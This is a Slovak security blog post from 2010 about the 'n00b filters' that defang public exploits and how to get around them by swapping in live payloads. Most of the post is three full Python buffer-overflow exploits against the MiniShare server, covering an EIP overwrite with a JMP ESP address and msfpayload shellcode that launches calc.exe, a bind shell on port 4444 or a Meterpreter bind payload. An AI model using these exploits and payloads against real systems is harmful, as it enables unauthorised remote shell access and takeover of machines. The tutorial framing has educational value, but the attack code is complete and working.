13.09
2010

Databázy verejných exploitov niekedy obsahujú tzv. n00b filter. Ide o zámerné vynechanie náležitostí v syntaxe použitého programovacieho jazyka, bez ktorých je exploit – kód nefunkčný, resp. nepôsobí extra damage. Dôvodov je viac, v prvom prípade ide o vynechanie jednoduchých interpreterov #, ;“ ?:! najčastejšie však exploit obsahuje neškodný Shellcode - zväčša malý kúsok kódu, ktorý spustí shell, ktorý by za štandardných okolností haxor nezískal (preto shellcode). Neškodný je myslené ako kód, ktorý sa vykoná po exploitovaní cieľovej zraniteľnosti – spustí sa calculator.exe, restart, shutdown, Message Box Shellcode... Áno je možné polemizovať či je reštart servera neškodná záležitosť, no je to isto menší damage ako tichý (otvorený) „čakajúci“ port :) Aj keď shellcode v svojich mnohých formách dokáže oveľa viac ako len „vykúzliť“ shell, (alebo príkazový riadkok ak chcete), termín sa stal obľúbený. Exploit teda v sebe nesie náklad – anglicky payload pozostávajúci práve z voliteľného shell kódu.

Klasický n00b filter môže vyzerať napríklad takto:

$host=$ARGV[0];

$path=$ARGV[1];

$vul=“phpbb_login.php?phpbb_root_path=“

- čo samozrejme pri kompilácii spôsobí nasledovný „error“:

syntax error at C:\2552.pl line 47, near „print“ Execution of C:\2552.pl aborted due to compilation errors.

- skúsenému oku neunikne chýbajúci „;“ na konci riadku 47. Je azda jasné, pre koho je tento typ „n00b filtra:)

V dnešnom easy článku ukážeme prstom na fantastický step by step článok security špecialistu z Austrálie – pána s nickomLUPIN. V svojom blogu názorne opisuje vývoj exploitu, ktorý využíva zraniteľnosť v jednoduchom FTP serveri Minishare. Nemá zmysel znovu objavovať koleso, exploit je na svete, rovnako ako videotutoriál a čo je najdôležitejšie prakticky nemá obmedzenia týkajúce sa veľkosti shellcode – ideál pre obmenu finálneho kódu. Páni s Assembler-Fusa isto zľahka pousmejú nad mojim „trikom“ s msfpayload, no ak môžem „obísť svet“ za 80 sekúnd namiesto 80 dní urobím to :)

Finálny Python skript (na konci linkovaného článku) obsahuje shellcode – reverse tcp shell, ktorý generuje reverzný shell enkódovaný pomocou Shikata ga nai enkódera späť na počítač útočníka, kde ho vyčkáva pripravený Netcat na porte 443. Pár jednoduchých obmien a screenshotov ukazuje bypas (ak to takto vôbec môžem nazvať) n00b filtra, vzhľadom na shellcode za ideálnych podmienok kedy nie sme obmedzený jeho veľkosťou. Pri obmene payloadu sme menili aj JMP ESP adresu v shell32.dll.

Originálny exploit by Lupin:

Klasický príbeh verejného exploitu, po prepise EIP registra dochádza k spusteniu neškodného shell kódu - calc.exe

#!/usr/bin/python

import socket

#original code by Lupin – http://grey-corner.blogspot.com

target_address=“192.168.0.134″

target_port=80

buffer =“GET “

buffer+=“\x90″ * 1787

#buffer+=“\x65\x82\xA5\x7C“ # EIP Overwrite. Shell32.dll, XP SP2, JMP ESP,7CA58265.

buffer+=“\x9F\x28\xB1\x7C“ # EIP Overwrite.  Shell32.dll, XP SP2, JMP ESP,7CB1289F

# /msfpayload windows/exec CMD=calc.exe R | msfencode -a x86 -b ‘\x00\x0a\x0d’ -t c – x86/shikata_ga_nai 342 bytes

buffer+=“\x90″* 16

buffer+=(„\xd9\xca\xbb\xba\x05\x4b\x7a\xd9\x74\x24\xf4\x5d\x31\xc9\xb1″

„\x33\x31\x5d\x18\x83\xed\xfc\x03\x5d\xae\xe7\xbe\x86\x26\x6e“

„\x40\x77\xb6\x11\xc8\x92\x87\x03\xae\xd7\xb5\x93\xa4\xba\x35″

„\x5f\xe8\x2e\xce\x2d\x25\x40\x67\x9b\x13\x6f\x78\x2d\x9c\x23″

„\xba\x2f\x60\x3e\xee\x8f\x59\xf1\xe3\xce\x9e\xec\x0b\x82\x77″

„\x7a\xb9\x33\xf3\x3e\x01\x35\xd3\x34\x39\x4d\x56\x8a\xcd\xe7″

„\x59\xdb\x7d\x73\x11\xc3\xf6\xdb\x82\xf2\xdb\x3f\xfe\xbd\x50″

„\x8b\x74\x3c\xb0\xc5\x75\x0e\xfc\x8a\x4b\xbe\xf1\xd3\x8c\x79″

„\xe9\xa1\xe6\x79\x94\xb1\x3c\x03\x42\x37\xa1\xa3\x01\xef\x01″

„\x55\xc6\x76\xc1\x59\xa3\xfd\x8d\x7d\x32\xd1\xa5\x7a\xbf\xd4″

„\x69\x0b\xfb\xf2\xad\x57\x58\x9a\xf4\x3d\x0f\xa3\xe7\x9a\xf0″

„\x01\x63\x08\xe5\x30\x2e\x47\xf8\xb1\x54\x2e\xfa\xc9\x56\x01″

„\x92\xf8\xdd\xce\xe5\x04\x34\xab\x19\x4f\x15\x9a\xb1\x16\xcf“

„\x9e\xdc\xa8\x25\xdc\xd8\x2a\xcc\x9d\x1f\x32\xa5\x98\x64\xf4″

„\x55\xd1\xf5\x91\x59\x46\xf6\xb3\x39\x09\x64\x5f\x90\xac\x0c“

„\xfa\xec\x24″)

buffer+= “ HTTP/1.1\r\n\r\n“

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect=sock.connect((target_address,target_port))

sock.send(buffer)

sock.close()

Bind payload- otvára port 4444 na cieľovom počítači:

Upravené časti sú označené zelenou farbou:

#!/usr/bin/python
import socket
#original code by Lupin – http://grey-corner.blogspot.com
target_address=“192.168.0.134″
target_port=80
buffer =“GET „
buffer+=“\x90″ * 1787
#buffer+=“\x65\x82\xA5\x7C“ # EIP Overwrite. Shell32.dll, XP SP2, JMP ESP,7CA58265.
buffer+=“\x9F\x28\xB1\x7C“ # EIP Overwrite.  Shell32.dll, XP SP2, JMP ESP,7CB1289F
#./msfpayload windows/shell_bind_tcp  LPORT=4444 R | msfencode -a x86 -b ‘\x00\x0a\x0d’ -t c – x86/shikata_ga_nai 342 bytes
buffer+=“\x90″* 16
buffer+=(„\x29\xc9\xdb\xce\xd9\x74\x24\xf4\xba\xc1\xb6\xba\x1d\x5e\xb1″
„\x56\x31\x56\x17\x03\x56\x17\x83\xee\xfc\x23\x43\x46\xf5\x2a“
„\xac\xb7\x06\x4c\x24\x52\x37\x5e\x52\x16\x6a\x6e\x10\x7a\x87″
„\x05\x74\x6f\x1c\x6b\x51\x80\x95\xc1\x87\xaf\x26\xe4\x07\x63″
„\xe4\x67\xf4\x7e\x39\x47\xc5\xb0\x4c\x86\x02\xac\xbf\xda\xdb“
„\xba\x12\xca\x68\xfe\xae\xeb\xbe\x74\x8e\x93\xbb\x4b\x7b\x29″
„\xc5\x9b\xd4\x26\x8d\x03\x5e\x60\x2e\x35\xb3\x73\x12\x7c\xb8″
„\x47\xe0\x7f\x68\x96\x09\x4e\x54\x74\x34\x7e\x59\x85\x70\xb9″
„\x82\xf0\x8a\xb9\x3f\x02\x49\xc3\x9b\x87\x4c\x63\x6f\x3f\xb5″
„\x95\xbc\xd9\x3e\x99\x09\xae\x19\xbe\x8c\x63\x12\xba\x05\x82″
„\xf5\x4a\x5d\xa0\xd1\x17\x05\xc9\x40\xf2\xe8\xf6\x93\x5a\x54″
„\x52\xdf\x49\x81\xe4\x82\x05\x66\xda\x3c\xd6\xe0\x6d\x4e\xe4″
„\xaf\xc5\xd8\x44\x27\xc3\x1f\xaa\x12\xb3\xb0\x55\x9d\xc3\x99″
„\x91\xc9\x93\xb1\x30\x72\x78\x42\xbc\xa7\x2e\x12\x12\x18\x8e“
„\xc2\xd2\xc8\x66\x09\xdd\x37\x96\x32\x37\x4e\x91\xfc\x63\x02″
„\x75\xfd\x93\xb4\xd9\x88\x72\xdc\xf1\xdc\x2d\x49\x33\x3b\xe6″
„\xee\x4c\x69\x5a\xa6\xda\x25\xb4\x70\xe5\xb5\x92\xd2\x4a\x1d“
„\x75\xa1\x80\x9a\x64\xb6\x8d\x8a\xef\x8e\x45\x40\x9e\x5d\xf4″
„\x55\x8b\x36\x95\xc4\x50\xc7\xd0\xf4\xce\x90\xb5\xcb\x06\x74″
„\x2b\x75\xb1\x6b\xb6\xe3\xfa\x28\x6c\xd0\x05\xb0\xe1\x6c\x22″
„\xa2\x3f\x6c\x6e\x96\xef\x3b\x38\x40\x49\x92\x8a\x3a\x03\x49″
„\x45\xab\xd2\xa1\x56\xad\xdb\xef\x20\x51\x6d\x46\x75\x6d\x41″
„\x0e\x71\x16\xbc\xae\x7e\xcd\x05\xde\x34\x4c\x2f\x77\x91\x04″
„\x72\x1a\x22\xf3\xb0\x23\xa1\xf6\x48\xd0\xb9\x72\x4d\x9c\x7d“
„\x6e\x3f\x8d\xeb\x90\xec\xae\x39\x9a“)
buffer+= “ HTTP/1.1\r\n\r\n“
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()

Meterpreter bind tcp payload zachytený pomocou Multihandler(a)

#!/usr/bin/python

import socket

#original code by Lupin – http://grey-corner.blogspot.com

target_address=“192.168.0.134″

target_port=80

buffer =“GET “

buffer+=“\x90″ * 1787

#buffer+=“\x65\x82\xA5\x7C“ # EIP Overwrite. Shell32.dll, XP SP2, JMP ESP,7CA58265.

buffer+=“\x9F\x28\xB1\x7C“ # EIP Overwrite. Shell32.dll, XP SP2, JMP ESP,7CB1289F

# ./msfpayload windows/meterpreter/bind_tcp LHOST=192.168.0.101 LPORT=4444 R | msfencode -a x86 -b ‘\x00\x0a\x0d’ -t c – x86/shikata_ga_nai 342 bytes

buffer+=“\x90″* 16

buffer+=(„\x2b\xc9\xb1\x4b\xdb\xcb\xba\x34\xe7\xa7\x4c\xd9\x74\x24\xf4″

„\x58\x31\x50\x16\x03\x50\x16\x83\xc0\x04\xe2\xc1\x1b\x4f\xc5″

„\x29\xe4\x90\xb6\xa0\x01\xa1\xe4\xd6\x42\x90\x38\x9d\x07\x19″

„\xb2\xf3\xb3\xaa\xb6\xdb\xb4\x1b\x7c\x3d\xfa\x9c\xb0\x81\x50″

„\x5e\xd2\x7d\xab\xb3\x34\xbc\x64\xc6\x35\xf9\x99\x29\x67\x52″

„\xd5\x98\x98\xd7\xab\x20\x98\x37\xa0\x19\xe2\x32\x77\xed\x58″

„\x3d\xa8\x5e\xd6\x75\x50\xd4\xb0\xa5\x61\x39\xa3\x99\x28\x36″

„\x10\x6a\xab\x9e\x68\x93\x9d\xde\x27\xaa\x11\xd3\x36\xeb\x96″

„\x0c\x4d\x07\xe5\xb1\x56\xdc\x97\x6d\xd2\xc0\x30\xe5\x44\x20″

„\xc0\x2a\x12\xa3\xce\x87\x50\xeb\xd2\x16\xb4\x80\xef\x93\x3b“

„\x46\x66\xe7\x1f\x42\x22\xb3\x3e\xd3\x8e\x12\x3e\x03\x76\xca“

„\x9a\x48\x95\x1f\x9c\x13\xf2\xec\x93\xab\x02\x7b\xa3\xd8\x30″

„\x24\x1f\x76\x79\xad\xb9\x81\x7e\x84\x7e\x1d\x81\x27\x7f\x34″

„\x46\x73\x2f\x2e\x6f\xfc\xa4\xae\x90\x29\x6a\xfe\x3e\x82\xcb“

„\xae\xfe\x72\xa4\xa4\xf0\xad\xd4\xc7\xda\xc5\x24\xec\xb6\x81″

„\x44\x12\x28\x0e\xc0\xf4\x20\xbe\x84\xaf\xdc\x7c\xf3\x78\x7a“

„\x7e\xd1\xd5\xd3\xe8\x6d\x30\xe3\x17\x6e\x17\x47\xbb\xc6\xff“

„\x1c\xd7\xd2\x1e\x23\xf2\x72\x77\xb4\x88\x12\x3a\x24\x8c\x3e“

„\xae\xa6\x18\xc5\x78\xf0\xb4\xc7\x5d\x36\x1b\x37\x88\x4c\x92″

„\xad\x72\x3b\xdb\x21\x72\xbb\x8d\x2b\x72\xd3\x69\x08\x21\xc6″

„\x75\x85\x56\x5b\xe0\x26\x0e\x0f\xa3\x4e\xac\x76\x83\xd0\x4f“

„\x5d\x15\x2c\x86\x98\x93\x44\xad\xc8\x5f\xa2″)

buffer+= “ HTTP/1.1\r\n\r\n“

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect=sock.connect((target_address,target_port))

sock.send(buffer)

sock.close()

Azda sme podali základný point. Zaujímavé stránky venujúce sa praktickým príkladom a tutoriálom súProject Shellcode, alebo Český Binary Flow so seriálom Nebojme se shellcodů pt. I-V. Užitočný je aj Windows Shellcode Development Kit z dielne Projektu Metasploit. Cesta Phillas Fogga bude pokračovať čoraz viac sofistikovanejším územím. :)

Súvisiace články: Tripple DoS „dummy“ Metasploit module, Nessus Bridge for Metasploit, Metasploit Framework v. 3.4.1 msfguiMetasploit ExpressMetasploit Pro releaseMetasploit Pro – push the hack button, pt1, Corelan + Metasploit = ftp client hunt, Prepisujeme exploit just 4 fun

1 komentář

Přidat komentář
  1. Very nice post. I just stumbled upon your blog and wished to say that I’ve truly enjoyed surfing around your blog posts. After all I will be subscribing to your rss feed and I hope you write again soon!